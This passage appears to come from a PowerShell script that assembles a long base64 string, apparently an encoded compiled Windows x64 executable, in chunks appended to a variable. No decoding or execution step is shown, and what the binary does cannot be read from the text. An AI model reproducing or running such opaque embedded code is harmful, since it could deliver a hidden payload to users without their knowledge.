P90JUiNFfZTAQCLyOh/CQAAhcB0DscFWVQBAP7///+wAesH6AgAAAAywEiDxCjDzEiD7CiLDaZDAQCD+f90DOi8CAAAgw2VQwEA/7ABSIPEKMPMzEiD7ChFM8BIjQ0eVAEAuqAPAADoeAkAAIXAd';
$dat += 'Ar/BTJUAQCwAesH6AkAAAAywEiDxCjDzMxAU0iD7CCLHRRUAQDrHUiNBeNTAQD/y0iNDJtIjQzI/xVLpAAA/w31UwEAhdt137ABSIPEIFvDzMzMzMzMzGZmDx+EAAAAAABXVkiL+UiL8kmLyPOkXl/DzMzMzMzMZmYPH4QAAAAAAEiLwUyNFbbS//9Jg/gPD4cMAQAAZmZmZg8fhAAAAAAAR4uMglCgAQBNA8pB/+HDkEyLAotKCEQPt0oMRA+2Ug5MiQCJSAhmRIlIDESIUA7DTIsCD7dKCEQPtkoKTIkAZolICESISArDD7cKZokIw5CLCkQPt0IERA+2SgaJCGZEiUAERIhIBsNMiwKLSghED7dKDEyJAIlICGZEiUgMww+3CkQPtkICZokIRIhAAsOQTIsCi0oIRA+2SgxMiQCJSAhEiEgMw0yLAg+3SghMiQBmiUgIw0yLAg+2SghMiQCISAjDTIsCi0oITIkAiUgIw4sKRA+3QgSJCGZEiUAEw4sKRA+2QgSJCESIQATDSIsKSIkIww+2CogIw4sKiQjDkEmD+CB3F/MPbwrzQg9vVALw8w9/CfNCD39UAfDDSDvRcw5OjQwCSTvJD4JBBAAAkIM9gUEBAAMPguMCAABJgfgAIAAAdhZJgfgAABgAdw32BSJRAQACD4Vk/v//xf5vAsShfm9sAuBJgfgAAQAAD4bEAAAATIvJSYPhH0mD6SBJK8lJK9FNA8FJgfgAAQAAD4ajAAAASYH4AAAYAA+HPgEAAGZmZmZmZg8fhAAAAAAAxf5vCsX+b1Igxf5vWkDF/m9iYMX9fwnF/X9RIMX9f1lAxf1/YWDF/m+KgAAAAMX+b5KgAAAAxf5vmsAAAADF/m+i4AAAAMX9f4mAAAAAxf1/kaAAAADF/X+ZwAAAAMX9f6HgAAAASIHBAAEAAEiBwgABAABJgegAAQAASYH4AAEAAA+DeP///02NSB9Jg+HgTYvZScHrBUeLnJqQoAEATQPaQf/jxKF+b4wKAP///8Shfn+MCQD////EoX5vjAog////xKF+f4wJIP///8Shfm+MCkD////EoX5/jAlA////xKF+b4wKYP///8Shfn+MCWD////EoX5vTAqAxKF+f0wJg';
$dat += 'MShfm9MCqDEoX5/TAmgxKF+b0wKwMShfn9MCcDEoX5/bAHgxf5/AMX4d8NmkMX+bwrF/m9SIMX+b1pAxf5vYmDF/ecJxf3nUSDF/edZQMX952Fgxf5vioAAAADF/m+SoAAAAMX+b5rAAAAAxf5vouAAAADF/eeJgAAAAMX955GgAAAAxf3nmcAAAADF/eeh4AAAAEiBwQABAABIgcIAAQAASYHoAAEAAEmB+AABAAAPg3j///9NjUgfSYPh4E2L2UnB6wVHi5yatKABAE0D2kH/48Shfm+MCgD////EoX3njAkA////xKF+b4wKIP///8ShfeeMCSD////EoX5vjApA////xKF954wJQP///8Shfm+MCmD////EoX3njAlg////xKF+b0wKgMShfedMCYDEoX5vTAqgxKF950wJoMShfm9MCsDEoX3nTAnAxKF+f2wB4MX+fwAPrvjF+HfDZmZmZmZmZg8fhAAAAAAASYH4AAgAAHYN9gVITgEAAg+Fivv///MPbwLzQg9vbALwSYH4gAAAAA+GjgAAAEyLyUmD4Q9Jg+kQSSvJSSvRTQPBSYH4gAAAAHZxDx9EAADzD28K8w9vUhDzD29aIPMPb2IwZg9/CWYPf1EQZg9/WSBmD39hMPMPb0pA8w9vUlDzD29aYPMPb2JwZg9/SUBmD39RUGYPf1lgZg9/YXBIgcGAAAAASIHCgAAAAEmB6IAAAABJgfiAAAAAc5RNjUgPSYPh8E2L2UnB6wRHi5ya2KABAE0D2kH/4/NCD29MCoDzQg9/TAmA80IPb0wKkPNCD39MCZDzQg9vTAqg80IPf0wJoPNCD29MCrDzQg9/TAmw80IPb0wKwPNCD39MCcDzQg9vTArQ80IPf0wJ0PNCD29MCuDzQg9/TAng80IPf2wB8PMPfwDDZg8fhAAAAAAATIvZTIvSSCvRSQPIDxBEEfBIg+kQSYPoEPbBD3QXSIvBSIPh8A8QyA8QBBEPEQhMi8FNK8NNi8hJwekHdG8PKQHrFGZmZmZmDx+EAAAAAAAPKUEQDykJDxBEEfAPEEwR4EiB6YAAAAAPKUFwDylJYA8QRBFQDxBMEUBJ/8kPKUFQDylJQA8QRBEwDxBMESAPKUEwDylJIA8QRBEQDxAMEXWuDylBEEmD4H8PKMFNi8hJwekEdBpmZg8fhAAAAAAADxEBSIPpEA8QBBFJ/8l18EmD4A90CEEPEApBDxELDxE';
$dat += 'BSYvDw8zMzEiJXCQISIlsJBBIiXQkGFdBVEFVQVZBV0iD7CCL+UyNPSPM//9Jg87/TYvhSYvoTIvqSYuE/xiBAQCQSTvGD4TrAAAASIXAD4XkAAAATTvBD4TRAAAAi3UASYuc9wCBAQCQSIXbdAtJO94PhZkAAADra02LvPd44QAAM9JJi89BuAAIAAD/FT2dAABIi9hIhcB1Vv8V35sAAIP4V3UtRI1DB0mLz0iNFcStAADofxMAAIXAdBZFM8Az0kmLz/8VBZ0AAEiL2EiFwHUeSYvGTI09c8v//0mHhPcAgQEASIPFBEk77Oln////SIvDTI09Vcv//0mHhPcAgQEASIXAdAlIi8v/Fa+cAABJi9VIi8v/FaucAABIhcB0DUiLyEmHjP8YgQEA6wpNh7T/GIEBADPASItcJFBIi2wkWEiLdCRgSIPEIEFfQV5BXUFcX8PMzEBTSIPsIEiL2UyNDSitAAAzyUyNBRetAABIjRUYrQAA6Iv+//9IhcB0D0iLy0iDxCBbSP8lf50AAEiDxCBbSP8lC5wAAMzMzEBTSIPsIIvZTI0N+awAALkBAAAATI0F5awAAEiNFeasAADoQf7//4vLSIXAdAxIg8QgW0j/JTadAABIg8QgW0j/JdKbAADMzEBTSIPsIIvZTI0NwawAALkCAAAATI0FrawAAEiNFa6sAADo+f3//4vLSIXAdAxIg8QgW0j/Je6cAABIg8QgW0j/JYKbAADMzEiJXCQIV0iD7CBIi9pMjQ2MrAAAi/lIjRWDrAAAuQMAAABMjQVvrAAA6Kr9//9Ii9OLz0iFwHQI/xWinAAA6wb/FdqZAABIi1wkMEiDxCBfw8zMzEiJXCQISIl0JBBXSIPsIEGL8EyNDUusAACL2kyNBTqsAABIi/lIjRU4rAAAuQQAAADoTv3//4vTSIvPSIXAdAtEi8b/FUOcAADrBv8Vy5oAAEiLXCQwSIt0JDhIg8QgX8PMzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABIg+woSIlMJDBIiVQkOESJRCRASIsSSIvB6LLz////0Ojb8///SIvISItUJDhIixJBuAIAAADolfP//0iDxCjDzMzMzMzMZmYPH4QAAAAAAEiD7ChIiUwkMEiJVCQ4RIlEJEBIixJIi8HoYvP////Q6Ivz//9Ig8Qow8zMzMzMzEiD7ChIiUwkMEiJVCQ4SItUJDhIixJBuAIAAADoL/P//0iDxCjDzMzMzMzMDx9AAEiD7ChIiUwkMEiJVCQ4TIlEJEBEiUwkSEWLwUiLwej98v//SItMJED/0Ogh8///SIvISItUJDhBuAIAAADo3vL//0iDxCjDzMdEJBAAAAAAi0QkEOlbEAAAzMzM6ZMQAADMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIDPtSIv6SCv5SIvZSIPHB4v1SMHvA0g7ykgPR/1Ihf90GkiLA0iFwHQG/xW5mgAASIPDCEj/xkg793XmSItcJDBIi2wkOEiLdCRASIPEIF/DSIlcJAhXSIPsIEiL+kiL2Ug7ynQbSIsDSIXAdAr/FXWaAACFwHULSIPDCEg73+vjM8BIi1wkMEiDxCBfw8zMzLhjc23gO8h0AzPAw4vI6QEAAADMSIlcJAhIiWwkEEiJd';
$dat += 'CQYV0iD7CBIi/KL+ehSFQAARTPJSIvYSIXAD4Q+AQAASIsISIvBTI2BwAAAAEk7yHQNOTh0DEiDwBBJO8B180mLwUiFwA+EEwEAAEyLQAhNhcAPhAYBAABJg/gFdQ1MiUgIQY1A/On1AAAASYP4AXUIg8j/6ecAAABIi2sISIlzCIN4BAgPhboAAABIg8EwSI2RkAAAAOsITIlJCEiDwRBIO8p184E4jQAAwIt7EHR6gTiOAADAdGuBOI8AAMB0XIE4kAAAwHRNgTiRAADAdD6BOJIAAMB0L4E4kwAAwHQggTi0AgDAdBGBOLUCAMCL13VAuo0AAADrNrqOAAAA6y+6hQAAAOsouooAAADrIbqEAAAA6xq6gQAAAOsTuoYAAADrDLqDAAAA6wW6ggAAAIlTELkIAAAASYvA/xX3mAAAiXsQ6xCLSARMiUgISYvA/xXimAAASIlrCOkT////M8BIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMzEiJXCQITIlMJCBXSIPsIEmL2UmL+IsK6EQVAACQSIvP6BMAAACQiwvohxUAAEiLXCQwSIPEIF/DQFNIg+wgSIvZgD0QRwEAAA+FnwAAALgBAAAAhwXvRgEASIsBiwiFyXU0SIsFnzUBAIvIg+E/SIsV20YBAEg70HQTSDPCSNPIRTPAM9Izyf8VM5gAAEiNDfRHAQDrDIP5AXUNSI0N/kcBAOgdCQAAkEiLA4M4AHUTSI0VeZgAAEiNDVKYAADoAf3//0iNFXaYAABIjQ1nmAAA6O78//9Ii0MIgzgAdQ7GBXJGAQABSItDEMYAAUiDxCBbw+jgCgAAkMzMzDPAgfljc23gD5TAw0iJXCQIRIlEJBiJVCQQVUiL7EiD7FCL2UWFwHVKM8n/FfOVAABIhcB0PblNWgAAZjkIdTNIY0g8SAPIgTlQRQAAdSS4CwIAAGY5QRh1GYO5hAAAAA52EIO5+AAAAAB0B4vL6KEAAABIjUUYxkUoAEiJReBMjU3USI1FIEiJRehMjUXgSI1FKEiJRfBIjVXYuAIAAABIjU3QiUXUiUXY6FX+//+DfSAAdAtIi1wkYEiDxFBdw4vL6AEAAADMQFNIg+wgi9no/xMAAIP4AXQoZUiLBCVgAAAAi5C8AAAAweoI9sIBdRH/Fd2UAABIi8iL0/8V2pQAAIvL6AsAAACLy/8Vg5UAAMzMzEBTSIPsIEiDZCQ4AEyNRCQ4i9lIjRVupwAAM8n/FWaVAACFwHQfSItMJDhIjRVupwAA/xUwlQAASIXAdAiLy/8Va5YAAEiLTCQ4SIXJdAb/FQuVAABIg8QgW8PMSIkN3UQBAMMz0jPJRI1CAemH/v//zMzMRTPAQY1QAul4/v//iwWyRAEAw8xIi8RIiVgISIloEEiJcBhIiXggQVRBVkFXSIPsIEyLfCRgTYvhSYvYTIvySIv5SYMnAEnHAQEAAABIhdJ0B0iJGkmDxghAMu2APyJ1D0CE7UC2IkAPlMVI/8frN0n/B0iF23QHigeIA0j/ww++N0';
$dat += 'j/x4vO6JgtAACFwHQSSf8HSIXbdAeKB4gDSP/DSP/HQIT2dBxAhO11sECA/iB0BkCA/gl1pEiF23QJxkP/AOsDSP/PQDL2igeEwA+E1AAAADwgdAQ8CXUHSP/Higfr8YTAD4S9AAAATYX2dAdJiR5Jg8YISf8EJLoBAAAAM8DrBUj/x//Aig+A+Vx09ID5InUwhMJ1GECE9nQKOE8BdQVI/8frCTPSQIT2QA+UxtHo6xD/yEiF23QGxgNcSP/DSf8HhcB17IoHhMB0RkCE9nUIPCB0PTwJdDmF0nQtSIXbdAeIA0j/w4oHD77I6LEsAACFwHQSSf8HSP/HSIXbdAeKB4gDSP/DSf8HSP/H6Wb///9Ihdt0BsYDAEj/w0n/B+ki////TYX2dARJgyYASf8EJEiLXCRASItsJEhIi3QkUEiLfCRYSIPEIEFfQV5BXMPMQFNIg+wgSLj/////////H0yLykg7yHM9M9JIg8j/SffwTDvIcy9IweEDTQ+vyEiLwUj30Ek7wXYcSQPJugEAAADowhQAADPJSIvY6GwJAABIi8PrAjPASIPEIFvDzMzMSIlcJAhVVldBVkFXSIvsSIPsMDP/RIvxhckPhFMBAACNQf+D+AF2FuhbFAAAjV8WiRjoMRMAAIv76TUBAADo/ScAAEiNHV5CAQBBuAQBAABIi9MzyeieHwAASIs1J0YBAEiJHQBGAQBIhfZ0BUA4PnUDSIvzSI1FSEiJfUBMjU1ASIlEJCBFM8BIiX1IM9JIi87oSf3//0yLfUBBuAEAAABIi1VISYvP6PP+//9Ii9hIhcB1GOjOEwAAuwwAAAAzyYkY6JQIAADpav///06NBPhIi9NIjUVISIvOTI1NQEiJRCQg6Pf8//9Bg/4BdRaLRUD/yEiJHX1FAQCJBW9FAQAzyetpSI1VOEiJfThIi8voxx0AAIvwhcB0GUiLTTjoOAgAAEiLy0iJfTjoLAgAAIv+6z9Ii1U4SIvPSIvCSDk6dAxIjUAISP/BSDk4dfSJDRtFAQAzyUiJfThIiRUWRQEA6PUHAABIi8tIiX046OkHAABIi1wkYIvHSIPEMEFfQV5fXl3DzMxIiVwkCFdIg+wgM/9IOT0VQgEAdAQzwOtI6JomAADojSsAAEiL2EiFwHUFg8//6ydIi8voNAAAAEiFwHUFg8//6w5IiQX3QQEASIkF2EEBADPJ6H0HAABIi8vodQcAAIvHSItcJDBIg8QgX8NIiVwkCEiJbCQQSIl0JBhXQVZBV0iD7DBMi/Ez9ovOTYvGQYoW6ySA+j1IjUEBSA9EwUiLyEiDyP9I/8BBODQAdfdJ/8BMA8BBihCE0nXYSP/BuggAAADoWBIAAEiL2EiFwHRsTIv4QYoGhMB0X0iDzf9I/8VBODQudfdI/8U8PXQ1ugEAAABIi83oJRIAAEiL+EiFwHQlTYvGSIvVSIvI6KcEAAAzyYXAdUhJiT9Jg8cI6LEGAABMA/Xrq0iLy+hEAAAAM8nonQYAAOsDSIvzM8nokQYAAEiLXCRQSIvGSIt0JGBIi2wkWEiDxDBBX0FeX8NFM8lIiXQkIEUzwDPS6I8QAADMzMxIhcl0O0iJXCQIV0iD7CBIiwFIi9lIi/nrD0iLyOg+BgAASI1/CEiLB0iFwHXsSIvL6CoGAABIi1wkMEiDxCBfw8zMzEiD7ChIiwlIOw16QAEAdAXop////0iDxCjDzMxIg+woSIsJSDsNVkABAHQF6Iv///9Ig8Qow8zMSIPsKEiNDS1AAQDouP///0iNDSlAAQDoyP///0iLDS1AAQDoXP///0iL';
$dat += 'DRlAAQBIg8Qo6Uz////p0/3//8zMzEiJXCQITIlMJCBXSIPsIEmL2UmL+IsK6NQMAACQSIvP6BcAAACL+IsL6BYNAACLx0iLXCQwSIPEIF/DzEiJXCQISIlsJBBIiXQkGFdBVkFXSIPsIEiLAUiL8UiLGEiF23UIg8j/6c8AAABMiwUnLQEAQYvISYv4SDM7g+E/SItbCEjTz0kz2EjTy0iNR/9Ig/j9D4efAAAAQYvITYvwg+E/TIv/SIvrSIPrCEg733JVSIsDSTvGdO9JM8BMiTNI08j/FYmPAABMiwXKLAEASIsGQYvIg+E/SIsQTIsKSItCCE0zyEkzwEnTyUjTyE07z3UFSDvFdLBNi/lJi/lIi+hIi9jrokiD//90D0iLz+iRBAAATIsFfiwBAEiLBkiLCEyJAUiLBkiLCEyJQQhIiwZIiwhMiUEQM8BIi1wkQEiLbCRISIt0JFBIg8QgQV9BXl/DzMxMi9xJiUsISIPsOEmNQwhJiUPoTY1LGLgCAAAATY1D6EmNUyCJRCRQSY1LEIlEJFjod/7//0iDxDjDzMxIhcl1BIPI/8NIi0EQSDkBdRJIiwXvKwEASIkBSIlBCEiJQRAzwMPMSI0FcTEBAEiJBRJHAQCwAcPMzMxIg+woSI0NQT4BAOi0////SI0NTT4BAOio////sAFIg8Qow8ywAcPMSIPsKOjD/f//sAFIg8Qow0BTSIPsIEiLHYcrAQBIi8vo3wwAAEiLy+jvMQAASIvL6MsyAABIi8vobzUAAEiLy+jD9///sAFIg8QgW8PMzMwzyelJ4///zEBTSIPsIEiLDUdAAQCDyP/wD8EBg/gBdR9Iiw00QAEASI0dfSsBAEg7y3QM6CcDAABIiR0cQAEAsAFIg8QgW8NIg+woSIsNWUYBAOgIAwAASIsNVUYBAEiDJUVGAQAA6PQCAABIiw0JQAEASIMlOUYBAADo4AIAAEiLDf0/AQBIgyXtPwEAAOjMAgAASIMl6D8BAACwAUiDxCjDzEiNFWGfAABIjQ1angAA6VkwAADMSIPsKOh3CAAASIXAD5XASIPEKMNIg+wo6KMGAACwAUiDxCjDSIPsKITJdBZIgz24RQEAAHQF6EU3AACwAUiDxCjDSI0VC58AAEiNDQSeAABIg8Qo6X8wAADMzMxIg+wo6CMJAACwAUiDxCjDSIPsKOiPBgAASItAGEiFwHQI/xXQjAAA6wDoYQAAAJBAU0iD7CAz20iFyXQMSIXSdAdNhcB1G4gZ6CoNAAC7FgAAAIkY6P4LAACLw0iDxCBbw0yLyUwrwUOKBAhBiAFJ/8GEwHQGSIPqAXXsSIXSddmIGejwDAAAuyIAAADrxMxIg+wo6NMwAABIhcB0CrkWAAAA6BQxAAD2BckpAQACdCq5FwAAAP8VXIoAAIXAdAe5BwAAAM0pQbgBAAAAuhUAAEBBjUgC6GkJAAC5AwAAAOjX9f//zMzMSIlcJAhIiXQkEFdIg+wgxkEYAEiL+UiNcQh';
$dat += 'IhdJ0BQ8QAusQgz2dRAEAAHUNDxAFFDABAPMPfwbrTuiBBQAASIkHSIvWSIuIkAAAAEiJDkiLiIgAAABIiU8QSIvI6P44AABIiw9IjVcQ6CY5AABIiw+LgagDAACoAnUNg8gCiYGoAwAAxkcYAUiLXCQwSIvHSIt0JDhIg8QgX8PMzMzMzMzMzMzMzGZmDx+EAAAAAABIK9FNhcB0avfBBwAAAHQdD7YBOgQKdV1I/8FJ/8h0UoTAdE5I98EHAAAAdeNJu4CAgICAgICASbr//v7+/v7+/o0ECiX/DwAAPfgPAAB3wEiLAUg7BAp1t0iDwQhJg+gIdg9NjQwCSPfQSSPBSYXDdM8zwMNIG8BIg8gBw8zMzOl7CwAAzMzMTYXAdRgzwMMPtwFmhcB0E2Y7AnUOSIPBAkiDwgJJg+gBdeUPtwEPtworwcNIhcl0N1NIg+wgTIvBM9JIiw3WPgEA/xV4iQAAhcB1F+gHCwAASIvY/xXuhwAAi8joPwoAAIkDSIPEIFvDzMzMQFNIg+wgSIvZSIP54Hc8SIXJuAEAAABID0TY6xXoBjkAAIXAdCVIi8voBi4AAIXAdBlIiw1zPgEATIvDM9L/FRiJAABIhcB01OsN6JwKAADHAAwAAAAzwEiDxCBbw8zMSIlcJAhMiUwkIFdIg+wgSYvZSYv4iwrokAYAAJBIiwdIiwhIi4GIAAAA8P8AiwvozAYAAEiLXCQwSIPEIF/DzEiJXCQITIlMJCBXSIPsIEmL2UmL+IsK6FAGAACQSIsPM9JIiwnopgIAAJCLC+iOBgAASItcJDBIg8QgX8PMzMxIiVwkCEyJTCQgV0iD7CBJi9lJi/iLCugQBgAAkEiLRwhIixBIiw9IixJIiwnoXgIAAJCLC+hGBgAASItcJDBIg8QgX8PMzMxIiVwkCEyJTCQgV0iD7CBJi9lJi/iLCujIBQAAkEiLB0iLCEiLiYgAAABIhcl0HoPI//APwQGD+AF1EkiNBaImAQBIO8h0BuhM/v//kIsL6OQFAABIi1wkMEiDxCBfw8xAVUiL7EiD7FBIiU3YSI1F2EiJRehMjU0gugEAAABMjUXouAUAAACJRSCJRShIjUXYSIlF8EiNReBIiUX4uAQAAACJRdCJRdRIjQUdQQEASIlF4IlRKEiNDYeYAABIi0XYSIkISI0NGSYBAEiLRdiJkKgDAABIi0XYSImIiAAAAI1KQkiLRdhIjVUoZomIvAAAAEiLRdhmiYjCAQAASI1NGEiLRdhIg6CgAwAAAOgm/v//TI1N0EyNRfBIjVXUSI1NGOiR/v//SIPEUF3DzMzMSIXJdBpTSIPsIEiL2egOAAAASIvL6E79//9Ig8QgW8NAVUiL7EiD7EBIjUXoSIlN6EiJRfBIjRXYlwAAuAUAAACJRSCJRShIjUXoSIlF+LgEAAAAiUXgiUXkSIsBSDvCdAxIi8jo/vz//0iLTehIi0lw6PH8//9Ii03oSItJWOjk/P//SItN6EiLSWDo1/z//0iLTehIi0lo6Mr8//9Ii03oSItJSOi9/P//SItN6EiLSVDosPz//0iLTehIi0l46KP8//9Ii03oSIuJgAAAAOiT/P//SItN6EiLicADAADog/z//0yNTSBMjUXwSI1VKEiNTRjo1v3//0yNTeBMjUX4SI1V5EiNTRjoOf3//0iDxEBdw8zMzEiJXCQIV0iD7CBIi/lIi9pIi4mQAAAASIXJdCzoKzgAAEiLj5AAAABIOw1';
$dat += 'VPwEAdBdIjQWkKQEASDvIdAuDeRAAdQXoBDYAAEiJn5AAAABIhdt0CEiLy+hkNQAASItcJDBIg8QgX8PMQFNIg+wgiw0YJAEAg/n/dCroPiQAAEiL2EiFwHQdiw0AJAEAM9LocSQAAEiLy+ht/v//SIvL6K37//9Ig8QgW8PMzMxIiVwkCEiJdCQQV0iD7CD/FauDAACLDcUjAQCL2IP5/3Qf6OkjAABIi/hIhcB0DEiD+P91czP/M/brcIsNnyMBAEiDyv/oDiQAAIXAdOe6yAMAALkBAAAA6JMGAACLDX0jAQBIi/hIhcB1EDPS6OYjAAAzyegr+///67pIi9fo1SMAAIXAdRKLDVMjAQAz0ujEIwAASIvP69tIi8/oy/z//zPJ6Pz6//9Ii/eLy/8VDYQAAEj330gbwEgjxnQQSItcJDBIi3QkOEiDxCBfw+gV+f//zEBTSIPsIIsNACMBAIP5/3Qb6CYjAABIi9hIhcB0CEiD+P90fettiw3gIgEASIPK/+hPIwAAhcB0aLrIAwAAuQEAAADo1AUAAIsNviIBAEiL2EiFwHUQM9LoJyMAADPJ6Gz6///rO0iL0+gWIwAAhcB1EosNlCIBADPS6AUjAABIi8vr20iLy+gM/P//M8noPfr//0iF23QJSIvDSIPEIFvD6G74///MzEiJXCQISIl0JBBXSIPsIP8VL4IAAIsNSSIBAIvYg/n/dB/obSIAAEiL+EiFwHQMSIP4/3VzM/8z9utwiw0jIgEASIPK/+iSIgAAhcB057rIAwAAuQEAAADoFwUAAIsNASIBAEiL+EiFwHUQM9LoaiIAADPJ6K/5///rukiL1+hZIgAAhcB1EosN1yEBADPS6EgiAABIi8/r20iLz+hP+///M8nogPn//0iL94vL/xWRggAASItcJDBI999IG8BII8ZIi3QkOEiDxCBfw0iD7ChIjQ3p+///6CghAACJBYIhAQCD+P91BDLA6xXoEP///0iFwHUJM8noDAAAAOvpsAFIg8Qow8zMzEiD7CiLDVIhAQCD+f90DOgwIQAAgw1BIQEA/7ABSIPEKMPMzEBTSIPsIDPbSI0VmTMBAEUzwEiNDJtIjQzKuqAPAADo4CEAAIXAdBH/Bao1AQD/w4P7DnLTsAHrCTPJ6CQAAAAywEiDxCBbw0hjwUiNDIBIjQVSMwEASI0MyEj/Jb+BAADMzMxAU0iD7CCLHWg1AQDrHUiNBS8zAQD/y0iNDJtIjQzI/xWngQAA/w1JNQEAhdt137ABSIPEIFvDzEhjwUiNDIBIjQX+MgEASI0MyEj/JXOBAADMzMxAU0iD7CAz24lcJDBlSIsEJWAAAABIi0ggOVkIfBFIjUwkMOhsHwAAg3wkMAF0BbsBAAAAi8NIg8QgW8NIiVwkEEiJdCQYVVdBVkiNrCQQ+///SIHs8AUAAEiLBdgfAQBIM8RIiYXgBAAAQYv4i/KL2YP5/3QF6CnR//8z0kiNTCRwQbiYAAAA6IPY//8z0kiNTRBBuNAEAADoctj//0iNRCRwSIlEJEhIjU0QSI1FEEiJRCRQ/xXtgQAATIu1CAEAAEiNVCRASYvORTPA/xXNgQAASIXAdDZIg2QkOABIjUwkWEiLVCRATIvISIlMJDBNi8ZIjUwkYEiJTCQoSI1NEEiJTCQgM8n/FYqBAABIi4UIBQAASImFCAEAAEiNhQgFAABIg8AIiXQkcEiJhagAAABIi4UI';
$dat += 'BQAASIlFgIl8JHT/Ffl/AAAzyYv4/xWnfwAASI1MJEj/FZR/AACFwHUQhf91DIP7/3QHi8voNND//0iLjeAEAABIM8zo4cX//0yNnCTwBQAASYtbKEmLczBJi+NBXl9dw8xIiQ2JMwEAw0iJXCQISIlsJBBIiXQkGFdIg+wwQYvZSYv4SIvySIvp6Ff8//9IhcB0PUiLgLgDAABIhcB0MUiLVCRgRIvLSIlUJCBMi8dIi9ZIi83/Ff6AAABIi1wkQEiLbCRISIt0JFBIg8QwX8NMixUqHgEARIvLQYvKTIvHTDMVCjMBAIPhP0nTykiL1k2F0nQPSItMJGBJi8JIiUwkIOuuSItEJGBIi81IiUQkIOgjAAAAzMzMSIPsOEiDZCQgAEUzyUUzwDPSM8noN////0iDxDjDzMxIg+wouRcAAAD/FZF+AACFwHQHuQUAAADNKUG4AQAAALoXBADAQY1IAeie/f///xVcfgAASIvIuhcEAMBIg8QoSP8lUX4AAMwzwEyNDS+SAABJi9FEjUAIOwp0K//ASQPQg/gtcvKNQe2D+BF3BrgNAAAAw4HBRP///7gWAAAAg/kOQQ9GwMNBi0TBBMPMzMxIiVwkCFdIg+wgi/noC/v//0iFwHUJSI0Fax0BAOsESIPAJIk46PL6//9IjR1THQEASIXAdARIjVggi8/od////4kDSItcJDBIg8QgX8PMzEiD7Cjow/r//0iFwHUJSI0FIx0BAOsESIPAJEiDxCjDSIPsKOij+v//SIXAdQlIjQX/HAEA6wRIg8AgSIPEKMNAU0iD7CBMi8JIi9lIhcl0DjPSSI1C4Ej380k7wHJDSQ+v2LgBAAAASIXbSA9E2OsV6OYtAACFwHQoSIvL6OYiAACFwHQcSIsNUzMBAEyLw7oIAAAA/xX1fQAASIXAdNHrDeh5////xwAMAAAAM8BIg8QgW8PMzMxIO8pzBIPI/8MzwEg7yg+XwMPMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7DAz20GL6EiL+kiL8UiFyXUiOFoodAxIi0oQ6PHz//+IXyhIiV8QSIlfGEiJXyDpDgEAADgZdVVIOVoYdUY4Wih0DEiLShDoxfP//4hfKLkCAAAA6Pjz//9IiUcQSIvLSPfYG9L30oPiDA+UwYXSD5TAiEcoSIlPGIXSdAeL2um+AAAASItHEGaJGOueQYPJ/4lcJChMi8ZIiVwkIIvNQY1RCug5FgAATGPwhcB1Fv8VeHsAAIvI6BH+///ofP7//4sY631Ii08YTDvxdkM4Xyh0DEiLTxDoNfP//4hfKEuNDDboafP//0iJRxBIi8tI99gb0vfSg+IMSQ9EzoXSD5TAiEcoSIlPGIXSD4Vs////SItHEEGDyf+JTCQoTIvGi81IiUQkIEGNUQrosRUAAEhjyIXAD4R0////SP/JSIlPIEiLbCRIi8NIi1wkQEiLdCRQSIt8JFhIg8QwQV7DzMxIi8RIiVgISIloEEiJcBhIiXggQVZIg+xAM9tFi/BIi/pIi/FIhcl1IjhaKHQMSItKEOh58v//iF8oSIlfEEiJXxhIiV8g6SIBAABmORl1VEg5Whh1RjhaKHQMSItKEOhM8v//iF8ouQEAAADof/L//0iJRxBIi8tI99gb0vfSg+IMD5TBhdIPlMCIRyhIiU8YhdJ0B4va6dEAAABIi0cQiBjr';
$dat += 'nkiJXCQ4QYPJ/0iJXCQwTIvGiVwkKDPSQYvOSIlcJCDoFBUAAEhj6IXAdRn/Ffd5AACLyOiQ/P//6Pv8//+LGOmFAAAASItPGEg76XZCOF8odAxIi08Q6LHx//+IXyhIi83o5vH//0iJRxBIi8tI99gb0vfSg+IMSA9EzYXSD5TAiEcoSIlPGIXSD4Vi////SItHEEGDyf9IiVwkOEyLxkiJXCQwM9KJTCQoQYvOSIlEJCDogRQAAEhjyIXAD4Rp////SP/JSIlPIEiLbCRYi8NIi1wkUEiLdCRgSIt8JGhIg8RAQV7DzMxIiVwkCEiJVCQQVVZXQVRBVUFWQVdIi+xIg+xgM/9Ii9lIhdJ1Fugl/P//jV8WiRjo+/r//4vD6aABAAAPV8BIiTpIiwHzD39F4EiJffBIhcB0VkiNVVBmx0VQKj9Ii8hAiH1S6FczAABIiwtIhcB1EEyNTeBFM8Az0uiNAQAA6wxMjUXgSIvQ6AcDAACL8IXAdQlIg8MISIsD67JMi2XoTIt94On4AAAATIt94EyLz0yLZehJi9dJi8RIiX1QSSvHTIvHTIvwScH+A0n/xkiNSAdIwekDTTv8SA9Hz0iDzv9Ihcl0JUyLEkiLxkj/wEE4PAJ190n/wUiDwghMA8hJ/8BMO8F130yJTVBBuAEAAABJi9FJi87oTOb//0iL2EiFwHR2So0U8E2L90iJVdhIi8JIiVVYTTv8dFZIi8tJK89IiU3QTYsGTIvuSf/FQzg8KHX3SCvQSf/FSANVUE2LzUiLyOjXMAAAhcAPhYMAAABIi0VYSItN0EiLVdhKiQQxSQPFSYPGCEiJRVhNO/R1tEiLRUiL90iJGDPJ6IPv//9Ji9xNi/dJK99Ig8MHSMHrA007/EgPR99Ihdt0FEmLDuhe7///SP/HTY12CEg7+3XsSYvP6Erv//+LxkiLnCSgAAAASIPEYEFfQV5BXUFcX15dw0UzyUiJfCQgRTPAM9IzyehI+f//zMzMzEiJXCQISIlsJBBIiXQkGFdBVEFVQVZBV0iD7DBIg83/SYv5M/ZNi/BMi+pMi+FI/8VAODQpdfe6AQAAAEmLxkgD6kj30Eg76HYgjUILSItcJGBIi2wkaEiLdCRwSIPEMEFfQV5BXUFcX8NNjXgBTAP9SYvP6Ov5//9Ii9hNhfZ0GU2Lzk2LxUmL10iLyOiiLwAAhcAPhdgAAABNK/5KjQwzSYvXTIvNTYvE6IUvAACFwA+FuwAAAEiLTwhEjXgITIt3EEk7zg+FnQAAAEg5N3UrQYvXjUgE6Ij5//8zyUiJB+gy7v//SIsPSIXJdEJIjUEgSIlPCEiJRxDrbUwrN0i4/////////39Jwf4DTDvwdx5Iiw9LjSw2SIvVTYvH6NQSAABIhcB1IjPJ6Ojt//9Ii8vo4O3//74MAAAAM8no1O3//4vG6QL///9KjQzwSIkHSIlPCEiNDOhIiU8QM8nos+3//0iLTwhIiRlMAX8I68tFM8lIiXQkIEUzwDPSM8novvf//8zMSIlc